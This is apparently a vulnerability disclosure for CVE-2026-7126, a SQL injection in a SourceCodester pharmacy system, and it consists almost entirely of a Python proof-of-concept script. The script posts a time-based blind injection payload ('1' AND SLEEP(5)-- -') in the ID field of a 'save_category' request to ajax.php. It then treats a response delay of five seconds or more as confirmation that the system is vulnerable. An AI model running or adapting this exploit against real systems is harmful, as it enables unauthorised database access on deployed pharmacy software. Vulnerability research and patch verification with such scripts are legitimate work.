CVE-2026-7126: SourceCodester药房系统SQL注入漏洞

import requests # Target URL (Replace with actual target) target_url = "http://target.com/pharmacy/ajax.php" # Vulnerable parameter: ID # Payload for testing time-based blind SQL injection payload = { "action": "save_category", "ID": "1' AND SLEEP(5)-- -" } try: print("[*] Sending payload to target...") response = requests.post(target_url, data=payload, timeout=10) # Check if the response time indicates SQL execution delay if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: Application is vulnerable to SQL Injection.") else: print("[-] Vulnerability not detected or patch applied.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")